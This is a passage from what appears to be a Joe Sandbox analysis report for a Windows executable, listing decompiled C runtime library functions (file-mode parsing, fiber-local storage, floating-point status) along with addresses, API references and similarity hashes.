				if (_t75 + 1 - 0x1000 < 0) goto 0x10621574;
				if ( *_t54 -  *((intOrPtr*)( *_t54 - 8)) - 8 - 0x1f > 0) goto 0x106215ae;
				_t32 = E00007FF77FF710641E10( *_t54 -  *((intOrPtr*)( *_t54 - 8)) - 8,  *((intOrPtr*)( *_t54 - 8)));
				 *((long long*)(_t54 + 0x10)) = _t84;
				 *((long long*)(_t54 + 0x18)) = 0xf;
				 *_t54 = 0;
				return E00007FF77FF710641DF0(_t32, _t34,  *(_t87 + 0x50) ^ _t87);
			}

0x7ff710621460
0x7ff710621465
0x7ff710621468
0x7ff71062146c
0x7ff710621476
0x7ff71062147b
0x7ff710621481
0x7ff710621484
0x7ff710621489
0x7ff710621494
0x7ff710621496
0x7ff710621496
0x7ff7106214a4
0x7ff7106214b0
0x7ff7106214b8
0x7ff7106214c7
0x7ff7106214d5
0x7ff7106214db
0x7ff7106214e4
0x7ff7106214f8
0x7ff71062150d
0x7ff710621513
0x7ff710621518
0x7ff71062151b
0x7ff71062151e
0x7ff710621522
0x7ff710621526
0x7ff710621529
0x7ff71062152c
0x7ff710621530
0x7ff710621534
0x7ff710621538
0x7ff710621540
0x7ff710621543
0x7ff71062154b
0x7ff71062155a
0x7ff71062156f
0x7ff710621574
0x7ff710621579
0x7ff71062157d
0x7ff710621585
0x7ff7106215a7

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106215A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106215AE

Part of subcall function 00007FF710621460: __std_exception_copy.LIBVCRUNTIME ref: 00007FF71062163B

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106216B5
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF7106216DD

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID:
API String ID: 2138705365-0
Opcode ID: cdd144d2daf08a2a3a94f597c5c85b7f6488f5d8d773d04f133020cb47eb001b
Instruction ID: 043d0eb4c6eaa8009d62420e9287ea7d47afc05f7d823b1ab9624e372930eee7
Opcode Fuzzy Hash: cdd144d2daf08a2a3a94f597c5c85b7f6488f5d8d773d04f133020cb47eb001b
Instruction Fuzzy Hash: 9771A232A08F8581EB10AF25E44436DB362FB95BA4F948231EB9D07799DF7CE198C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710660A54 Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF710660A54(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0x10660a86;
				if (sil >= 0) goto 0x10660a86;
				E00007FF77FF710656654(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0x10660add;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0x10660aa1;
				asm("dec eax");
				if (_t42 >= 0) goto 0x10660aa1;
				E00007FF77FF710656654(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0x10660add;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0x10660abd;
				asm("dec eax");
				if (_t43 >= 0) goto 0x10660abd;
				E00007FF77FF710656654(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0x10660add;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0x10660add;
				asm("dec eax");
				if (_t44 >= 0) goto 0x10660add;
				if ((dil & 0x00000010) == 0) goto 0x10660ada;
				E00007FF77FF710656654(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0x10660af7;
				asm("dec eax");
				if (_t46 >= 0) goto 0x10660af7;
				E00007FF77FF710656654(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ff710660a54
0x7ff710660a59
0x7ff710660a68
0x7ff710660a70
0x7ff710660a75
0x7ff710660a7c
0x7ff710660a81
0x7ff710660a84
0x7ff710660a8b
0x7ff710660a8e
0x7ff710660a90
0x7ff710660a95
0x7ff710660a97
0x7ff710660a9c
0x7ff710660a9f
0x7ff710660aa1
0x7ff710660aa5
0x7ff710660aa7
0x7ff710660aac
0x7ff710660ab3
0x7ff710660ab8
0x7ff710660abb
0x7ff710660abd
0x7ff710660ac1
0x7ff710660ac3
0x7ff710660ac8
0x7ff710660ace
0x7ff710660ad5
0x7ff710660ada
0x7ff710660add
0x7ff710660ae1
0x7ff710660ae3
0x7ff710660ae8
0x7ff710660aef
0x7ff710660b0d

APIs

_set_statfp.LIBCMT ref: 00007FF710660A7C
_set_statfp.LIBCMT ref: 00007FF710660A97
_set_statfp.LIBCMT ref: 00007FF710660AB3
_set_statfp.LIBCMT ref: 00007FF710660AEF

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b1361300c2b47f6a4545a3418b5998d0c73dc987c51fff94688702b0617affad
Instruction ID: 65a811d630a01e70ab3ec23a7dad1e2ea2e5e7558e2823f302274a60ccf66be5
Opcode Fuzzy Hash: b1361300c2b47f6a4545a3418b5998d0c73dc987c51fff94688702b0617affad
Instruction Fuzzy Hash: 7B116D2AE58F0201F65432A8E45637AA173AF643F4FD90634FA7E163D78E5CB8488221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710650B44 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF710649E57,?,?,00000000,00007FF71064A0F2,?,?,?,?,?,00007FF71064A07E), ref: 00007FF710650B63
FlsSetValue.KERNEL32(?,?,?,00007FF710649E57,?,?,00000000,00007FF71064A0F2,?,?,?,?,?,00007FF71064A07E), ref: 00007FF710650B82
FlsSetValue.KERNEL32(?,?,?,00007FF710649E57,?,?,00000000,00007FF71064A0F2,?,?,?,?,?,00007FF71064A07E), ref: 00007FF710650BAA
FlsSetValue.KERNEL32(?,?,?,00007FF710649E57,?,?,00000000,00007FF71064A0F2,?,?,?,?,?,00007FF71064A07E), ref: 00007FF710650BBB
FlsSetValue.KERNEL32(?,?,?,00007FF710649E57,?,?,00000000,00007FF71064A0F2,?,?,?,?,?,00007FF71064A07E), ref: 00007FF710650BCC

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f282f0d1c403b34cf5d275a1ba7f2aa5a21d20b55076fa831567f6a650ac7dcf
Instruction ID: c421aa61775c54c4cecea497e2197b3b6a5c1d22d5786fa02c6cf001ba609a4b
Opcode Fuzzy Hash: f282f0d1c403b34cf5d275a1ba7f2aa5a21d20b55076fa831567f6a650ac7dcf
Instruction Fuzzy Hash: 95114C20E1CB4342FA58B762A592179E1A35F587F4FC84735F83E067D6DE2DF4498220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106509D8 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7106509E9
FlsSetValue.KERNEL32 ref: 00007FF710650A08
FlsSetValue.KERNEL32 ref: 00007FF710650A30
FlsSetValue.KERNEL32 ref: 00007FF710650A41
FlsSetValue.KERNEL32 ref: 00007FF710650A52

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 47a35707b7cf2bdbb800f0bd7723d8681e16fd559766b4615d1b30236367047a
Instruction ID: a36a40a3ea5da00d4cf3bab9339d99cb926a95c96a80e0a96f28ee6970e1ebae
Opcode Fuzzy Hash: 47a35707b7cf2bdbb800f0bd7723d8681e16fd559766b4615d1b30236367047a
Instruction Fuzzy Hash: 22110620A29B0381F968B2715462179A1A35F597B4ED85734F83E0A3D7DE2CF54D8231

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710666B94 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF710666B94(long long __rbx, signed int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				signed int _t31;
				signed int _t33;
				signed int _t36;
				signed int _t49;
				signed int _t56;
				void* _t61;
				void* _t83;
				signed int _t89;
				void* _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t129;
				signed short* _t131;
				signed short* _t132;
				long long _t136;
				signed int _t138;
				signed short* _t142;
				signed short* _t143;

				_t109 = _t138;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((long long*)(_t109 + 0x10)) = _t136;
				 *((long long*)(_t109 + 0x18)) = __rsi;
				 *((long long*)(_t109 + 0x20)) = __rdi;
				 *__rcx = _t109;
				__rcx[2] = 0;
				r14d = 0x20;
				_t31 =  *0x1068b464; // 0x0
				__rcx[1] = _t31;
				goto 0x10666bd7;
				_t142 = __rdx + 2;
				_t33 =  *_t142 & 0x0000ffff;
				if (_t33 == r14w) goto 0x10666bcf;
				if (_t33 == 0x61) goto 0x10666c04;
				if (_t33 == 0x72) goto 0x10666bfb;
				if (_t33 != 0x77) goto 0x10666e68;
				 *__rcx = 0x301;
				goto 0x10666c0a;
				__rcx[1] = 1;
				goto 0x10666c11;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t143 =  &(_t142[1]);
				r9b = bpl;
				dil = bpl;
				r10b = bpl;
				r11b = bpl;
				_t9 = _t136 + 0xa; // 0xa
				if ( *_t143 == 0) goto 0x10666d7a;
				_t56 =  *_t143 & 0x0000ffff;
				_t83 = _t56 - 0x53;
				if (_t83 > 0) goto 0x10666ce4;
				if (_t83 == 0) goto 0x10666ccd;
				if (_t83 == 0) goto 0x10666d65;
				if (_t83 == 0) goto 0x10666c9b;
				if (_t83 == 0) goto 0x10666c93;
				if (_t83 == 0) goto 0x10666c81;
				_t61 = _t56 - r14d - 0xfffffffffffffff2 - _t9;
				if (_t83 == 0) goto 0x10666c78;
				if (_t61 != 4) goto 0x10666e68;
				if (r10b != 0) goto 0x10666d58;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0x10666cd9;
				asm("bts dword [ebx], 0x7");
				goto 0x10666d63;
				if (( *__rcx & 0x00000040) != 0) goto 0x10666d58;
				goto 0x10666d61;
				r11b = 1;
				goto 0x10666d58;
				if (dil != 0) goto 0x10666d58;
				_t36 =  *__rcx;
				dil = 1;
				if ((_t36 & 0x00000002) != 0) goto 0x10666d58;
				 *__rcx = _t36 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0x10666d65;
				_t89 = r10b;
				if (_t89 != 0) goto 0x10666d58;
				 *__rcx =  *__rcx | r14d;
				r10b = 1;
				goto 0x10666d65;
				if (_t89 == 0) goto 0x10666d50;
				if (_t89 == 0) goto 0x10666d41;
				if (_t89 == 0) goto 0x10666d2f;
				if (_t89 == 0) goto 0x10666d23;
				if (_t89 == 0) goto 0x10666d14;
				_t90 = _t61 - 0x34 - 4;
				if (_t90 != 0) goto 0x10666e68;
				asm("bt eax, 0x9");
				if (_t90 >= 0) goto 0x10666d58;
				asm("bts eax, 0xa");
				goto 0x10666d61;
				if (( *__rcx & 0x0000c000) != 0) goto 0x10666d58;
				asm("bts eax, 0xe");
				goto 0x10666d61;
				if (r9b != 0) goto 0x10666d58;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0x10666d39;
				if (r9b != 0) goto 0x10666d58;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0x10666d65;
				_t94 =  *__rcx & 0x0000c000;
				if (_t94 != 0) goto 0x10666d58;
				asm("bts eax, 0xf");
				goto 0x10666d61;
				asm("bt eax, 0xc");
				if (_t94 >= 0) goto 0x10666d5d;
				goto 0x10666d65;
				asm("bts eax, 0xc");
				asm("dec eax");
				_t144 = _t143 + __rcx;
				if (1 != 0) goto 0x10666c28;
				_t20 = _t144 + 2; // -1
				_t128 =  ==  ? _t143 + __rcx : _t20;
				goto 0x10666d8b;
				_t129 = ( ==  ? _t143 + __rcx : _t20) + 2;
				if ( *_t129 == r14w) goto 0x10666d87;
				if (r11b != 0) goto 0x10666da8;
				if ( *_t129 != 0) goto 0x10666e68;
				__rcx[2] = 1;
				goto 0x10666e78;
				r8d = 3;
				if (E00007FF77FF710650300(_t143 + __rcx) != 0) goto 0x10666e68;
				goto 0x10666dcf;
				_t131 = _t129 + 8;
				_t49 =  *_t131 & 0x0000ffff;
				if (_t49 == r14w) goto 0x10666dcb;
				if (_t49 != 0x3d) goto 0x10666e68;
				_t132 =  &(_t131[1]);
				if ( *_t132 == r14w) goto 0x10666de2;
				r8d = 5;
				if (E00007FF77FF71065F108(_t109, _t132) != 0) goto 0x10666e0b;
				asm("bts dword [ebx], 0x12");
				goto 0x10666e4d;
				r8d = 8;
				if (E00007FF77FF71065F108(_t109, _t132) != 0) goto 0x10666e2d;
				asm("bts dword [ebx], 0x11");
				goto 0x10666e4d;
				r8d = 7;
				if (E00007FF77FF71065F108(_t109, _t132) != 0) goto 0x10666e68;
				asm("bts dword [ebx], 0x10");
				goto 0x10666e57;
				if (( *(_t132 + __rsi + 2) & 0x0000ffff) == r14w) goto 0x10666e53;
				goto 0x10666d99;
				E00007FF77FF71064A624(_t109);
				 *_t109 = 0x16;
				return E00007FF77FF71064A198();
			}

0x7ff710666b94
0x7ff710666b97
0x7ff710666b9b
0x7ff710666b9f
0x7ff710666ba3
0x7ff710666bb2
0x7ff710666bb8
0x7ff710666bbb
0x7ff710666bc1
0x7ff710666bc7
0x7ff710666bcd
0x7ff710666bcf
0x7ff710666bd3
0x7ff710666bdb
0x7ff710666be1
0x7ff710666be7
0x7ff710666bed
0x7ff710666bf3
0x7ff710666bf9
0x7ff710666bfb
0x7ff710666c02
0x7ff710666c04
0x7ff710666c0a
0x7ff710666c11
0x7ff710666c19
0x7ff710666c1c
0x7ff710666c1f
0x7ff710666c22
0x7ff710666c25
0x7ff710666c2c
0x7ff710666c32
0x7ff710666c36
0x7ff710666c39
0x7ff710666c3f
0x7ff710666c48
0x7ff710666c51
0x7ff710666c56
0x7ff710666c5b
0x7ff710666c5d
0x7ff710666c5f
0x7ff710666c64
0x7ff710666c6d
0x7ff710666c73
0x7ff710666c76
0x7ff710666c78
0x7ff710666c7c
0x7ff710666c85
0x7ff710666c8e
0x7ff710666c93
0x7ff710666c96
0x7ff710666c9e
0x7ff710666ca4
0x7ff710666ca6
0x7ff710666cab
0x7ff710666cba
0x7ff710666cc5
0x7ff710666cc8
0x7ff710666ccd
0x7ff710666cd0
0x7ff710666cd6
0x7ff710666cd9
0x7ff710666cdf
0x7ff710666ce7
0x7ff710666cec
0x7ff710666cf1
0x7ff710666cf6
0x7ff710666cfb
0x7ff710666cfd
0x7ff710666d00
0x7ff710666d08
0x7ff710666d0c
0x7ff710666d0e
0x7ff710666d12
0x7ff710666d1b
0x7ff710666d1d
0x7ff710666d21
0x7ff710666d26
0x7ff710666d28
0x7ff710666d2d
0x7ff710666d32
0x7ff710666d34
0x7ff710666d39
0x7ff710666d3f
0x7ff710666d43
0x7ff710666d48
0x7ff710666d4a
0x7ff710666d4e
0x7ff710666d52
0x7ff710666d56
0x7ff710666d5b
0x7ff710666d5d
0x7ff710666d69
0x7ff710666d6f
0x7ff710666d74
0x7ff710666d7d
0x7ff710666d81
0x7ff710666d85
0x7ff710666d87
0x7ff710666d8f
0x7ff710666d94
0x7ff710666d99
0x7ff710666d9f
0x7ff710666da3
0x7ff710666da8
0x7ff710666dbf
0x7ff710666dc9
0x7ff710666dcb
0x7ff710666dcf
0x7ff710666dd6
0x7ff710666ddc
0x7ff710666de2
0x7ff710666dea
0x7ff710666dec
0x7ff710666e03
0x7ff710666e05
0x7ff710666e09
0x7ff710666e0b
0x7ff710666e22
0x7ff710666e24
0x7ff710666e2b
0x7ff710666e2d
0x7ff710666e44
0x7ff710666e46
0x7ff710666e51
0x7ff710666e5e
0x7ff710666e63
0x7ff710666e68
0x7ff710666e6d
0x7ff710666e95

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710666E73

Part of subcall function 00007FF71065F108: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71065F125

Strings

ccs, xrefs: 00007FF710666DAE
UTF-8, xrefs: 00007FF710666DF2
UTF-16LEUNICODE, xrefs: 00007FF710666E11

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 75e391a1dd6d9f4e54dd4805a613a629c763f3aa47115e65024a5af4a354927f
Instruction ID: 61a688dce45515407a13716a6e68779ebda12d5ed0bac6945178322350cfb1d9
Opcode Fuzzy Hash: 75e391a1dd6d9f4e54dd4805a613a629c763f3aa47115e65024a5af4a354927f
Instruction Fuzzy Hash: 1381E37AE0CE4285F7746F25E150279B6B2EF19B68FD58034EA0997794CB2DFC098321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106668D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 214
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7106668D0(signed int __rax, long long __rbx, signed int* __rcx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t25;
				intOrPtr _t27;
				signed int _t30;
				intOrPtr _t43;
				char _t50;
				void* _t55;
				void* _t76;
				signed int _t82;
				void* _t83;
				signed int _t87;
				intOrPtr* _t103;
				intOrPtr* _t122;
				intOrPtr* _t124;
				char* _t125;
				intOrPtr* _t132;
				char* _t133;
				void* _t134;

				_t103 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				 *__rcx = __rax;
				__rcx[2] = 0;
				_t25 =  *0x1068b464; // 0x0
				__rcx[1] = _t25;
				goto 0x10666900;
				_t132 = __rdx + 1;
				_t27 =  *_t132;
				if (_t27 == 0x20) goto 0x106668fa;
				if (_t27 == 0x61) goto 0x1066692a;
				if (_t27 == 0x72) goto 0x10666921;
				if (_t27 != 0x77) goto 0x10666b6e;
				 *__rcx = 0x301;
				goto 0x10666930;
				__rcx[1] = 1;
				goto 0x10666933;
				 *__rcx = 0x109;
				__rcx[1] = 2;
				_t133 = _t132 + 1;
				r9b = 0;
				dil = 0;
				r10b = 0;
				r11b = 0;
				if ( *_t133 == 0) goto 0x10666a93;
				_t50 =  *_t133;
				_t76 = _t50 - 0x53;
				if (_t76 > 0) goto 0x10666a01;
				if (_t76 == 0) goto 0x106669ea;
				if (_t76 == 0) goto 0x10666a81;
				if (_t76 == 0) goto 0x106669b8;
				if (_t76 == 0) goto 0x106669b0;
				if (_t76 == 0) goto 0x1066699e;
				_t55 = _t50 - 0xfffffffffffffff2;
				if (_t76 == 0) goto 0x10666995;
				if (_t55 != 4) goto 0x10666b6e;
				if (r10b != 0) goto 0x10666a75;
				 *__rcx =  *__rcx | 0x00000010;
				goto 0x106669f6;
				asm("bts dword [ebx], 0x7");
				goto 0x10666a7f;
				if (( *__rcx & 0x00000040) != 0) goto 0x10666a75;
				goto 0x10666a7d;
				r11b = 1;
				goto 0x10666a75;
				if (dil != 0) goto 0x10666a75;
				_t30 =  *__rcx;
				dil = 1;
				if ((sil & _t30) != 0) goto 0x10666a75;
				 *__rcx = _t30 & 0xfffffffe | 0x00000002;
				__rcx[1] = __rcx[1] & 0xfffffffc | 0x00000004;
				goto 0x10666a81;
				_t82 = r10b;
				if (_t82 != 0) goto 0x10666a75;
				 *__rcx =  *__rcx | 0x00000020;
				r10b = 1;
				goto 0x10666a81;
				if (_t82 == 0) goto 0x10666a6d;
				if (_t82 == 0) goto 0x10666a5e;
				if (_t82 == 0) goto 0x10666a4c;
				if (_t82 == 0) goto 0x10666a40;
				if (_t82 == 0) goto 0x10666a31;
				_t83 = _t55 - 0x34 - 4;
				if (_t83 != 0) goto 0x10666b6e;
				asm("bt eax, 0x9");
				if (_t83 >= 0) goto 0x10666a75;
				asm("bts eax, 0xa");
				goto 0x10666a7d;
				if (( *__rcx & 0x0000c000) != 0) goto 0x10666a75;
				asm("bts eax, 0xe");
				goto 0x10666a7d;
				if (r9b != 0) goto 0x10666a75;
				asm("btr dword [ebx+0x4], 0xb");
				goto 0x10666a56;
				if (r9b != 0) goto 0x10666a75;
				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0x10666a81;
				_t87 =  *__rcx & 0x0000c000;
				if (_t87 != 0) goto 0x10666a75;
				asm("bts eax, 0xf");
				goto 0x10666a7d;
				asm("bt eax, 0xc");
				if (_t87 >= 0) goto 0x10666a79;
				goto 0x10666a81;
				asm("bts eax, 0xc");
				_t134 = _t133 + __rax;
				if (1 != 0) goto 0x10666944;
				_t121 =  ==  ? _t134 : _t134 + 1;
				goto 0x10666aa3;
				_t122 = ( ==  ? _t134 : _t134 + 1) + 1;
				if ( *_t122 == 0x20) goto 0x10666aa0;
				if (r11b != 0) goto 0x10666abf;
				if ( *_t122 != r11b) goto 0x10666b6e;
				__rcx[2] = 1;
				goto 0x10666b7e;
				r8d = 3;
				if (E00007FF77FF710650280(_t55 - 0x34, _t122, 0x10679728, _t134) != 0) goto 0x10666b6e;
				goto 0x10666ae5;
				_t124 = _t122 + 4;
				_t43 =  *_t124;
				if (_t43 == 0x20) goto 0x10666ae2;
				if (_t43 != 0x3d) goto 0x10666b6e;
				_t125 = _t124 + 1;
				if ( *_t125 == 0x20) goto 0x10666aef;
				r8d = 5;
				if (E00007FF77FF7106600F4(_t103, _t125) != 0) goto 0x10666b18;
				asm("bts dword [ebx], 0x12");
				goto 0x10666b58;
				r8d = 8;
				if (E00007FF77FF7106600F4(_t103, _t125) != 0) goto 0x10666b39;
				asm("bts dword [ebx], 0x11");
				goto 0x10666b58;
				r8d = 7;
				if (E00007FF77FF7106600F4(_t103, _t125) != 0) goto 0x10666b6e;
				asm("bts dword [ebx], 0x10");
				goto 0x10666b61;
				if ( *((intOrPtr*)(_t125 + __rsi + 1)) == 0x20) goto 0x10666b5e;
				goto 0x10666ab0;
				E00007FF77FF71064A624(_t103);
				 *_t103 = 0x16;
				return E00007FF77FF71064A198();
			}

0x7ff7106668d0
0x7ff7106668d0
0x7ff7106668d5
0x7ff7106668e4
0x7ff7106668ea
0x7ff7106668ed
0x7ff7106668f3
0x7ff7106668f8
0x7ff7106668fa
0x7ff7106668fd
0x7ff710666902
0x7ff71066690b
0x7ff71066690f
0x7ff710666913
0x7ff710666919
0x7ff71066691f
0x7ff710666921
0x7ff710666928
0x7ff71066692a
0x7ff710666930
0x7ff710666933
0x7ff710666936
0x7ff710666939
0x7ff71066693c
0x7ff71066693f
0x7ff710666948
0x7ff71066694e
0x7ff710666952
0x7ff710666955
0x7ff71066695b
0x7ff710666964
0x7ff71066696d
0x7ff710666972
0x7ff710666977
0x7ff710666979
0x7ff71066697c
0x7ff710666981
0x7ff71066698a
0x7ff710666990
0x7ff710666993
0x7ff710666995
0x7ff710666999
0x7ff7106669a2
0x7ff7106669ab
0x7ff7106669b0
0x7ff7106669b3
0x7ff7106669bb
0x7ff7106669c1
0x7ff7106669c3
0x7ff7106669c9
0x7ff7106669d7
0x7ff7106669e2
0x7ff7106669e5
0x7ff7106669ea
0x7ff7106669ed
0x7ff7106669f3
0x7ff7106669f6
0x7ff7106669fc
0x7ff710666a04
0x7ff710666a09
0x7ff710666a0e
0x7ff710666a13
0x7ff710666a18
0x7ff710666a1a
0x7ff710666a1d
0x7ff710666a25
0x7ff710666a29
0x7ff710666a2b
0x7ff710666a2f
0x7ff710666a38
0x7ff710666a3a
0x7ff710666a3e
0x7ff710666a43
0x7ff710666a45
0x7ff710666a4a
0x7ff710666a4f
0x7ff710666a51
0x7ff710666a56
0x7ff710666a5c
0x7ff710666a60
0x7ff710666a65
0x7ff710666a67
0x7ff710666a6b
0x7ff710666a6f
0x7ff710666a73
0x7ff710666a77
0x7ff710666a79
0x7ff710666a88
0x7ff710666a8d
0x7ff710666a9a
0x7ff710666a9e
0x7ff710666aa0
0x7ff710666aa6
0x7ff710666aab
0x7ff710666ab0
0x7ff710666ab6
0x7ff710666aba
0x7ff710666abf
0x7ff710666ad6
0x7ff710666ae0
0x7ff710666ae2
0x7ff710666ae5
0x7ff710666ae9
0x7ff710666aed
0x7ff710666aef
0x7ff710666af5
0x7ff710666b03
0x7ff710666b10
0x7ff710666b12
0x7ff710666b16
0x7ff710666b24
0x7ff710666b31
0x7ff710666b33
0x7ff710666b37
0x7ff710666b45
0x7ff710666b52
0x7ff710666b54
0x7ff710666b5c
0x7ff710666b65
0x7ff710666b69
0x7ff710666b6e
0x7ff710666b73
0x7ff710666b90

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710666B79

Part of subcall function 00007FF7106600F4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF710660111

Strings

ccs, xrefs: 00007FF710666AC5
UTF-16LEUNICODE, xrefs: 00007FF710666B1D
UTF-8, xrefs: 00007FF710666AFC

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 68cde72bdd81102e3531fa6e07bda411e9746f4c291bd8b70aade6be3a635bc2
Instruction ID: 61fda2911310594a735ba5edf2a6d0342fd702cda711019df2a7348e2867ef3a
Opcode Fuzzy Hash: 68cde72bdd81102e3531fa6e07bda411e9746f4c291bd8b70aade6be3a635bc2
Instruction Fuzzy Hash: D681D439D0CA4385F7657E68A25027CABB39F09768FD59035E90DA2395CE2DBC099321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710645C2C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190
COMMONLIBRARYCODE

